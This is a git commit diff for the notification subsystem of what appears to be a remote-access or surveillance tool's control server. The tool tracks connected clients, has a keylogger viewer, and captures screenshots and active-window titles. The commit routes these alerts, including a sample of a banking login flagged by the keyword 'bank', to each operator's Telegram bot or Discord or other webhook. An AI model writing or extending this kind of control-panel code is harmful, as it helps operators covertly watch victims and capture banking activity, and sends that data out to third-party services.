better notification system

This commit is contained in:
KingKDot
2026-03-13 23:17:24 -05:00
parent 5524d4bab2
commit a21222f44a
11 changed files with 958 additions and 258 deletions
+19 -10
View File
@@ -11,7 +11,7 @@ import { v4 as uuidv4 } from "uuid";
import { authenticateRequest } from "./auth";
import { loadConfig, getConfig } from "./config";
import { flushAuditLogsSync } from "./auditLog";
import { getUserById, getUsersWithTelegramChatId, canUserAccessClient, setUserClientAccessRule, setUserClientAccessScope, getUserClientAccessScope } from "./users";
import { getUserById, getUsersForNotificationDelivery, canUserAccessClient, setUserClientAccessRule, setUserClientAccessScope, getUserClientAccessScope } from "./users";
import { requireAuth, requirePermission } from "./rbac";
import { metrics } from "./metrics";
import { ensureDataDir } from "./paths";
@@ -46,7 +46,7 @@ import {
takePendingNotificationScreenshot,
type NotificationRecord,
type PendingNotificationScreenshot,
type PerUserTelegramRecipient,
type UserDeliveryTarget,
} from "./server/notification-delivery";
import {
ensurePluginExtracted as ensurePluginExtractedFromRoot,
@@ -228,15 +228,23 @@ const storeNotificationScreenshotForPending = (
height?: number,
) => storeNotificationScreenshot(notificationHistory, pending, bytes, format, width, height);
const deliverNotificationWithScreenshotForRecord = (record: NotificationRecord) => {
const getPerUserRecipients = (clientId: string): PerUserTelegramRecipient[] => {
const usersWithTelegram = getUsersWithTelegramChatId();
return usersWithTelegram.map((u) => ({
userId: u.id,
chatId: u.telegram_chat_id,
canAccessClient: canUserAccessClient(u.id, u.role, clientId),
}));
const getUserDeliveryTargets = (clientId: string): UserDeliveryTarget[] => {
const deliveryUsers = getUsersForNotificationDelivery();
return deliveryUsers
.filter((u) => canUserAccessClient(u.id, u.role, clientId))
.map((u) => ({
userId: u.id,
username: u.username,
webhookEnabled: u.webhook_enabled === 1,
webhookUrl: u.webhook_url || "",
webhookTemplate: u.webhook_template,
telegramEnabled: u.telegram_enabled === 1,
telegramBotToken: u.telegram_bot_token || "",
telegramChatId: u.telegram_chat_id || "",
telegramTemplate: u.telegram_template,
}));
};
return deliverNotificationWithScreenshot(record, getNotificationConfig, getPerUserRecipients);
return deliverNotificationWithScreenshot(record, getUserDeliveryTargets);
};
const notificationPluginHandlers = createNotificationPluginHandlers({
@@ -248,6 +256,7 @@ const notificationPluginHandlers = createNotificationPluginHandlers({
pendingPluginEvents,
pluginState,
getNotificationConfig,
canUserAccessClient,
storeNotificationScreenshot: storeNotificationScreenshotForPending,
deliverNotificationWithScreenshot: deliverNotificationWithScreenshotForRecord,
savePluginState,
@@ -29,6 +29,24 @@ export type PendingNotificationScreenshot = {
timeout: NodeJS.Timeout;
};
export type UserDeliveryTarget = {
userId: number;
username: string;
webhookEnabled: boolean;
webhookUrl: string;
webhookTemplate: string | null;
telegramEnabled: boolean;
telegramBotToken: string;
telegramChatId: string;
telegramTemplate: string | null;
};
export const DEFAULT_WEBHOOK_TEMPLATE =
`{"type":"notification","data":{"title":"{title}","keyword":"{keyword}","clientId":"{clientId}","user":"{user}","host":"{host}","process":"{process}","os":"{os}","pid":"{pid}","ts":"{ts}"}}`;
export const DEFAULT_TELEGRAM_TEMPLATE =
`\u{1F514} Notification\nTitle: {title}\nKeyword: {keyword}\nClient: {clientId}\nUser: {user}\nHost: {host}\nProcess: {process}`;
const NOTIFICATION_SCREENSHOT_WAIT_MS = 5_000;
const NOTIFICATION_SCREENSHOT_POLL_MS = 250;
@@ -40,6 +58,47 @@ function getScreenshotMeta(format: string | undefined): { contentType: string; e
return { contentType: "application/octet-stream", ext: "bin" };
}
export function renderNotificationTemplate(
template: string | null | undefined,
record: NotificationRecord,
defaultTemplate: string,
): string {
const tpl = template && template.trim() ? template : defaultTemplate;
return tpl
.replace(/{title}/g, record.title ?? "")
.replace(/{keyword}/g, record.keyword ?? "")
.replace(/{clientId}/g, record.clientId ?? "")
.replace(/{user}/g, record.user ?? "")
.replace(/{host}/g, record.host ?? "")
.replace(/{process}/g, record.process ?? "")
.replace(/{os}/g, record.os ?? "")
.replace(/{pid}/g, String(record.pid ?? ""))
.replace(/{ts}/g, String(record.ts ?? ""));
}
function buildCanonicalWebhookPayload(record: NotificationRecord): string {
return JSON.stringify({ type: "notification", data: record });
}
function buildWebhookBody(target: UserDeliveryTarget, record: NotificationRecord): string {
const customTemplate = target.webhookTemplate?.trim() || "";
if (!customTemplate) {
return buildCanonicalWebhookPayload(record);
}
const rendered = renderNotificationTemplate(customTemplate, record, DEFAULT_WEBHOOK_TEMPLATE);
try {
const parsed = JSON.parse(rendered);
return JSON.stringify(parsed);
} catch (err) {
logger.warn(
`[notify] invalid webhook template for user ${target.username}; falling back to canonical payload`,
err,
);
return buildCanonicalWebhookPayload(record);
}
}
async function waitForNotificationScreenshot(
notificationId: string,
timeoutMs = NOTIFICATION_SCREENSHOT_WAIT_MS,
@@ -94,26 +153,25 @@ export function storeNotificationScreenshot(
}
}
async function postNotificationWebhook(
async function deliverToUserWebhook(
target: UserDeliveryTarget,
record: NotificationRecord,
getNotificationConfig: () => any,
screenshot?: NotificationScreenshotRecord | null,
): Promise<void> {
const config = getNotificationConfig();
if (!config.webhookEnabled) return;
const url = (config.webhookUrl || "").trim();
if (!target.webhookEnabled) return;
const url = (target.webhookUrl || "").trim();
if (!url) return;
let parsed: URL;
try {
const parsed = new URL(url);
if (!/^https?:$/.test(parsed.protocol)) {
return;
}
parsed = new URL(url);
if (!/^https?:$/.test(parsed.protocol)) return;
} catch {
return;
}
try {
const isDiscord = /discord(app)?\.com$/i.test(new URL(url).hostname);
const isDiscord = /discord(app)?\.com$/i.test(parsed.hostname);
if (isDiscord) {
const embed: Record<string, any> = {
title: record.keyword ? `Keyword: ${record.keyword}` : "Active Window",
@@ -128,7 +186,7 @@ async function postNotificationWebhook(
};
const payload: Record<string, any> = {
content: `🔔 Notification: ${record.title}`,
content: `\u{1F514} Notification: ${record.title}`,
embeds: [embed],
};
@@ -155,38 +213,29 @@ async function postNotificationWebhook(
return;
}
const payload = { type: "notification", data: record };
const body = buildWebhookBody(target, record);
await fetch(url, {
method: "POST",
headers: { "Content-Type": "application/json" },
body: JSON.stringify(payload),
body,
});
} catch (err) {
logger.warn("[notify] webhook delivery failed", err);
logger.warn(`[notify] webhook delivery to user ${target.username} failed`, err);
}
}
async function postTelegramNotification(
async function deliverToUserTelegram(
target: UserDeliveryTarget,
record: NotificationRecord,
getNotificationConfig: () => any,
screenshot?: NotificationScreenshotRecord | null,
): Promise<void> {
const config = getNotificationConfig();
if (!config.telegramEnabled) return;
const token = (config.telegramBotToken || "").trim();
const chatId = (config.telegramChatId || "").trim();
if (!target.telegramEnabled) return;
const token = (target.telegramBotToken || "").trim();
const chatId = (target.telegramChatId || "").trim();
if (!token || !chatId) return;
await sendTelegramToChat(token, chatId, record, screenshot);
}
const text = renderNotificationTemplate(target.telegramTemplate, record, DEFAULT_TELEGRAM_TEMPLATE);
async function sendTelegramToChat(
token: string,
chatId: string,
record: NotificationRecord,
screenshot?: NotificationScreenshotRecord | null,
): Promise<void> {
const text = `🔔 Notification\nTitle: ${record.title}\nKeyword: ${record.keyword || "-"}\nClient: ${record.clientId}\nUser: ${record.user || "unknown"}\nHost: ${record.host || "unknown"}\nProcess: ${record.process || "unknown"}`;
try {
if (screenshot?.bytes?.length) {
const meta = getScreenshotMeta(screenshot.format);
@@ -195,63 +244,39 @@ async function sendTelegramToChat(
form.append("chat_id", chatId);
form.append("caption", text);
form.append("photo", new Blob([screenshot.bytes as any], { type: meta.contentType }), filename);
const url = `https://api.telegram.org/bot${token}/sendPhoto`;
await fetch(url, { method: "POST", body: form });
const apiUrl = `https://api.telegram.org/bot${token}/sendPhoto`;
await fetch(apiUrl, { method: "POST", body: form });
return;
}
const url = `https://api.telegram.org/bot${token}/sendMessage`;
await fetch(url, {
const apiUrl = `https://api.telegram.org/bot${token}/sendMessage`;
await fetch(apiUrl, {
method: "POST",
headers: { "Content-Type": "application/json" },
body: JSON.stringify({ chat_id: chatId, text }),
});
} catch (err) {
logger.warn(`[notify] telegram delivery to chat ${chatId} failed`, err);
logger.warn(`[notify] telegram delivery to user ${target.username} (chat ${chatId}) failed`, err);
}
}
export type PerUserTelegramRecipient = {
userId: number;
chatId: string;
canAccessClient: boolean;
};
async function postPerUserTelegramNotifications(
async function deliverToUser(
target: UserDeliveryTarget,
record: NotificationRecord,
getNotificationConfig: () => any,
getPerUserRecipients: (clientId: string) => PerUserTelegramRecipient[],
screenshot?: NotificationScreenshotRecord | null,
): Promise<void> {
const config = getNotificationConfig();
if (!config.telegramEnabled) return;
const token = (config.telegramBotToken || "").trim();
if (!token) return;
const recipients = getPerUserRecipients(record.clientId);
const promises = recipients
.filter((r) => r.canAccessClient && r.chatId)
.map((r) => sendTelegramToChat(token, r.chatId, record, screenshot));
await Promise.allSettled(promises);
await Promise.allSettled([
deliverToUserWebhook(target, record, screenshot),
deliverToUserTelegram(target, record, screenshot),
]);
}
export async function deliverNotificationWithScreenshot(
record: NotificationRecord,
getNotificationConfig: () => any,
getPerUserRecipients?: (clientId: string) => PerUserTelegramRecipient[],
getUserDeliveryTargets: (clientId: string) => UserDeliveryTarget[],
): Promise<void> {
const screenshot = await waitForNotificationScreenshot(record.id);
const deliveries: Promise<void>[] = [
postNotificationWebhook(record, getNotificationConfig, screenshot),
postTelegramNotification(record, getNotificationConfig, screenshot),
];
if (getPerUserRecipients) {
deliveries.push(
postPerUserTelegramNotifications(record, getNotificationConfig, getPerUserRecipients, screenshot),
);
}
await Promise.allSettled(deliveries);
const targets = getUserDeliveryTargets(record.clientId);
await Promise.allSettled(targets.map((t) => deliverToUser(t, record, screenshot)));
}
@@ -3,6 +3,15 @@ import { AuditAction, logAudit } from "../../auditLog";
import * as clientManager from "../../clientManager";
import { getConfig, updateNotificationsConfig } from "../../config";
import { encodeMessage } from "../../protocol";
import {
getUserNotificationSettings,
updateUserNotificationSettings,
} from "../../users";
import {
DEFAULT_WEBHOOK_TEMPLATE,
DEFAULT_TELEGRAM_TEMPLATE,
renderNotificationTemplate,
} from "../notification-delivery";
type RequestIpProvider = {
requestIP: (req: Request) => { address?: string } | null | undefined;
@@ -160,5 +169,207 @@ export async function handleNotificationsConfigRoutes(
return Response.json({ ok: true, notifications: updated });
}
if (url.pathname === "/api/notifications/my-settings") {
const user = await authenticateRequest(req);
if (!user) {
return new Response(JSON.stringify({ error: "Not authenticated" }), {
status: 401,
headers: { "Content-Type": "application/json" },
});
}
if (req.method === "GET") {
const settings = getUserNotificationSettings(user.userId) ?? {
webhook_enabled: 0,
webhook_url: null,
webhook_template: null,
telegram_enabled: 0,
telegram_bot_token: null,
telegram_chat_id: null,
telegram_template: null,
};
return Response.json({
settings,
defaults: {
webhookTemplate: DEFAULT_WEBHOOK_TEMPLATE,
telegramTemplate: DEFAULT_TELEGRAM_TEMPLATE,
},
});
}
if (req.method === "PUT") {
let body: any = {};
try {
body = await req.json();
} catch {
return Response.json({ error: "Invalid JSON" }, { status: 400 });
}
const patch: Record<string, any> = {};
if (typeof body?.webhook_enabled === "boolean" || typeof body?.webhook_enabled === "number") {
patch.webhook_enabled = body.webhook_enabled ? 1 : 0;
}
if (typeof body?.webhook_url === "string") {
const url_val = body.webhook_url.trim();
if (url_val) {
try {
const parsed = new URL(url_val);
if (!/^https?:$/.test(parsed.protocol)) {
return Response.json({ error: "Webhook URL must use http(s)" }, { status: 400 });
}
} catch {
return Response.json({ error: "Invalid webhook URL" }, { status: 400 });
}
}
patch.webhook_url = url_val || null;
}
if (typeof body?.webhook_template === "string") {
patch.webhook_template = body.webhook_template.trim() || null;
}
if (typeof body?.telegram_enabled === "boolean" || typeof body?.telegram_enabled === "number") {
patch.telegram_enabled = body.telegram_enabled ? 1 : 0;
}
if (typeof body?.telegram_bot_token === "string") {
patch.telegram_bot_token = body.telegram_bot_token.trim() || null;
}
if (typeof body?.telegram_chat_id === "string") {
patch.telegram_chat_id = body.telegram_chat_id.trim() || null;
}
if (typeof body?.telegram_template === "string") {
patch.telegram_template = body.telegram_template.trim() || null;
}
const result = updateUserNotificationSettings(user.userId, patch);
if (!result.success) {
return Response.json({ error: result.error }, { status: 400 });
}
const updated = getUserNotificationSettings(user.userId);
return Response.json({ ok: true, settings: updated });
}
}
if (req.method === "POST" && url.pathname === "/api/notifications/my-settings/preview/webhook") {
const user = await authenticateRequest(req);
if (!user) {
return new Response(JSON.stringify({ error: "Not authenticated" }), {
status: 401,
headers: { "Content-Type": "application/json" },
});
}
let body: any = {};
try {
body = await req.json();
} catch {
return Response.json({ error: "Invalid JSON" }, { status: 400 });
}
const webhookUrl = typeof body?.webhookUrl === "string" ? body.webhookUrl.trim() : "";
const webhookTemplate = typeof body?.webhookTemplate === "string" ? body.webhookTemplate : "";
if (!webhookUrl) {
return Response.json({ error: "Webhook URL is required" }, { status: 400 });
}
let parsed: URL;
try {
parsed = new URL(webhookUrl);
if (!/^https?:$/.test(parsed.protocol)) {
return Response.json({ error: "Webhook URL must use http(s)" }, { status: 400 });
}
} catch {
return Response.json({ error: "Invalid webhook URL" }, { status: 400 });
}
const sampleRecord = {
id: "preview-notification",
clientId: "abc123def456",
host: "DESKTOP-7G2ABK1",
user: "john.doe",
os: "windows",
title: "Online Banking - Secure Login",
process: "chrome.exe",
processPath: "C:/Program Files/Google/Chrome/Application/chrome.exe",
pid: 4392,
keyword: "bank",
category: "active_window" as const,
ts: Date.now(),
};
const payload = renderNotificationTemplate(
webhookTemplate,
sampleRecord,
DEFAULT_WEBHOOK_TEMPLATE,
);
const canonicalPayload = JSON.stringify({ type: "notification", data: sampleRecord });
const customTemplate = webhookTemplate.trim();
let jsonPayloadToSend = canonicalPayload;
if (customTemplate) {
try {
jsonPayloadToSend = JSON.stringify(JSON.parse(payload));
} catch {
jsonPayloadToSend = canonicalPayload;
}
}
try {
const isDiscord = /discord(app)?\.com$/i.test(parsed.hostname);
let response: Response;
let sentPayload = jsonPayloadToSend;
let sentMode: "json" | "discord" = "json";
if (isDiscord) {
sentMode = "discord";
const discordPayload = {
content: `🔔 Notification: ${sampleRecord.title}`,
embeds: [
{
title: sampleRecord.keyword ? `Keyword: ${sampleRecord.keyword}` : "Active Window",
description: sampleRecord.title,
fields: [
{ name: "Client", value: sampleRecord.clientId || "unknown", inline: true },
{ name: "User", value: sampleRecord.user || "unknown", inline: true },
{ name: "Host", value: sampleRecord.host || "unknown", inline: true },
{ name: "Process", value: sampleRecord.process || "unknown", inline: true },
],
timestamp: new Date(sampleRecord.ts).toISOString(),
},
],
};
sentPayload = JSON.stringify(discordPayload);
response = await fetch(parsed.toString(), {
method: "POST",
headers: { "Content-Type": "application/json" },
body: sentPayload,
});
} else {
response = await fetch(parsed.toString(), {
method: "POST",
headers: { "Content-Type": "application/json" },
body: jsonPayloadToSend,
});
}
const responseText = await response.text().catch(() => "");
return Response.json({
ok: response.ok,
status: response.status,
statusText: response.statusText,
mode: sentMode,
payload: sentPayload,
responseBody: responseText ? responseText.slice(0, 500) : "",
});
} catch (err: any) {
return Response.json(
{ error: err?.message || "Failed to POST preview webhook" },
{ status: 502 },
);
}
}
return null;
}
@@ -205,7 +205,7 @@ export async function handleWsUpgradeRoutes(
return new Response("Unauthorized", { status: 401 });
}
const ip = server.requestIP(req)?.address || "";
if (server.upgrade(req, { data: { role: "notifications_viewer", clientId: "", ip, userRole: user.role } })) {
if (server.upgrade(req, { data: { role: "notifications_viewer", clientId: "", ip, userRole: user.role, userId: user.userId } })) {
return new Response();
}
return new Response("Upgrade failed", { status: 500 });
@@ -54,6 +54,7 @@ type CreateDeps = {
pendingPluginEvents: Map<string, Array<{ event: string; payload: any }>>;
pluginState: { enabled: Record<string, boolean>; lastError: Record<string, string> };
getNotificationConfig: () => NotificationConfigShape;
canUserAccessClient: (userId: number, userRole: string, clientId: string) => boolean;
storeNotificationScreenshot: (
pending: PendingNotificationScreenshot,
bytes: Uint8Array,
@@ -175,14 +176,28 @@ export function createNotificationPluginHandlers(deps: CreateDeps) {
return {
handleNotificationViewerOpen(ws: ServerWebSocket<SocketData>) {
const sessionId = uuidv4();
const userId = ws.data.userId;
const userRole = ws.data.userRole || "";
sessionManager.addNotificationSession({
id: sessionId,
viewer: ws,
createdAt: Date.now(),
userId,
userRole,
});
ws.data.sessionId = sessionId;
logger.info(`[notify] viewer connected session=${sessionId}`);
safeSendViewer(ws, { type: "ready", sessionId, history: deps.notificationHistory });
logger.info(`[notify] viewer connected session=${sessionId} userId=${userId ?? "?"} role=${userRole}`);
const visibleHistory =
userRole === "admin"
? deps.notificationHistory
: deps.notificationHistory.filter(
(item) =>
userId !== undefined &&
deps.canUserAccessClient(userId, userRole, item.clientId),
);
safeSendViewer(ws, { type: "ready", sessionId, history: visibleHistory });
},
handleNotification(clientId: string, payload: any) {
@@ -221,6 +236,13 @@ export function createNotificationPluginHandlers(deps: CreateDeps) {
requestNotificationScreenshot(info, record);
for (const session of sessionManager.getAllNotificationSessions().values()) {
const sRole = session.userRole ?? session.viewer.data.userRole ?? "";
const sUserId = session.userId ?? session.viewer.data.userId;
if (sRole !== "admin") {
if (sUserId === undefined || !deps.canUserAccessClient(sUserId, sRole, clientId)) {
continue;
}
}
safeSendViewer(session.viewer, { type: "notification", item: record });
}
+3
View File
@@ -19,6 +19,7 @@ export type SocketData = {
sessionId?: string;
ip?: string;
userRole?: string;
userId?: number;
wasKnown?: boolean;
autoTasksRan?: boolean;
};
@@ -55,6 +56,8 @@ export type NotificationsViewer = {
id: string;
viewer: ServerWebSocket<SocketData>;
createdAt: number;
userId?: number;
userRole?: string;
};
export type KeyloggerViewer = {
+116
View File
@@ -129,6 +129,25 @@ try {
}
}
const notificationColumns: Array<{ sql: string; label: string }> = [
{ sql: `ALTER TABLE users ADD COLUMN webhook_enabled INTEGER DEFAULT 0`, label: "webhook_enabled" },
{ sql: `ALTER TABLE users ADD COLUMN webhook_url TEXT DEFAULT NULL`, label: "webhook_url" },
{ sql: `ALTER TABLE users ADD COLUMN webhook_template TEXT DEFAULT NULL`, label: "webhook_template" },
{ sql: `ALTER TABLE users ADD COLUMN telegram_enabled INTEGER DEFAULT 0`, label: "telegram_enabled" },
{ sql: `ALTER TABLE users ADD COLUMN telegram_bot_token TEXT DEFAULT NULL`, label: "telegram_bot_token" },
{ sql: `ALTER TABLE users ADD COLUMN telegram_template TEXT DEFAULT NULL`, label: "telegram_template" },
];
for (const col of notificationColumns) {
try {
db.exec(col.sql);
logger.info(`[users] Added ${col.label} column to existing database`);
} catch (err: any) {
if (!err.message?.includes("duplicate column name")) {
logger.error("[users] Migration error:", err);
}
}
}
const userCount = db.prepare("SELECT COUNT(*) as count FROM users").get() as {
count: number;
};
@@ -540,3 +559,100 @@ export function getUsersWithTelegramChatId(): Array<{ id: number; username: stri
)
.all() as any[];
}
// ─── Per-user notification delivery settings ─────────────────────────────────
export interface UserNotificationSettings {
webhook_enabled: number;
webhook_url: string | null;
webhook_template: string | null;
telegram_enabled: number;
telegram_bot_token: string | null;
telegram_chat_id: string | null;
telegram_template: string | null;
}
export function getUserNotificationSettings(userId: number): UserNotificationSettings | null {
const row = db
.prepare(
"SELECT webhook_enabled, webhook_url, webhook_template, telegram_enabled, telegram_bot_token, telegram_chat_id, telegram_template FROM users WHERE id = ?",
)
.get(userId) as UserNotificationSettings | undefined;
return row ?? null;
}
export function updateUserNotificationSettings(
userId: number,
settings: Partial<UserNotificationSettings>,
): { success: boolean; error?: string } {
const fields: string[] = [];
const values: any[] = [];
if ("webhook_enabled" in settings) {
fields.push("webhook_enabled = ?");
values.push(settings.webhook_enabled ? 1 : 0);
}
if ("webhook_url" in settings) {
fields.push("webhook_url = ?");
values.push(settings.webhook_url || null);
}
if ("webhook_template" in settings) {
fields.push("webhook_template = ?");
values.push(settings.webhook_template || null);
}
if ("telegram_enabled" in settings) {
fields.push("telegram_enabled = ?");
values.push(settings.telegram_enabled ? 1 : 0);
}
if ("telegram_bot_token" in settings) {
fields.push("telegram_bot_token = ?");
values.push(settings.telegram_bot_token || null);
}
if ("telegram_chat_id" in settings) {
fields.push("telegram_chat_id = ?");
values.push(settings.telegram_chat_id || null);
}
if ("telegram_template" in settings) {
fields.push("telegram_template = ?");
values.push(settings.telegram_template || null);
}
if (fields.length === 0) return { success: true };
try {
values.push(userId);
db.prepare(`UPDATE users SET ${fields.join(", ")} WHERE id = ?`).run(...values);
return { success: true };
} catch (err: any) {
logger.error("[users] updateUserNotificationSettings error:", err);
return { success: false, error: err.message || "Failed to update notification settings" };
}
}
export interface UserDeliveryRow {
id: number;
username: string;
role: UserRole;
client_scope: ClientAccessScope;
webhook_enabled: number;
webhook_url: string | null;
webhook_template: string | null;
telegram_enabled: number;
telegram_bot_token: string | null;
telegram_chat_id: string | null;
telegram_template: string | null;
}
export function getUsersForNotificationDelivery(): UserDeliveryRow[] {
return db
.prepare(
`SELECT id, username, role, client_scope,
webhook_enabled, webhook_url, webhook_template,
telegram_enabled, telegram_bot_token, telegram_chat_id, telegram_template
FROM users
WHERE (webhook_enabled = 1 AND webhook_url IS NOT NULL AND webhook_url != '')
OR (telegram_enabled = 1 AND telegram_bot_token IS NOT NULL AND telegram_bot_token != ''
AND telegram_chat_id IS NOT NULL AND telegram_chat_id != '')`,
)
.all() as UserDeliveryRow[];
}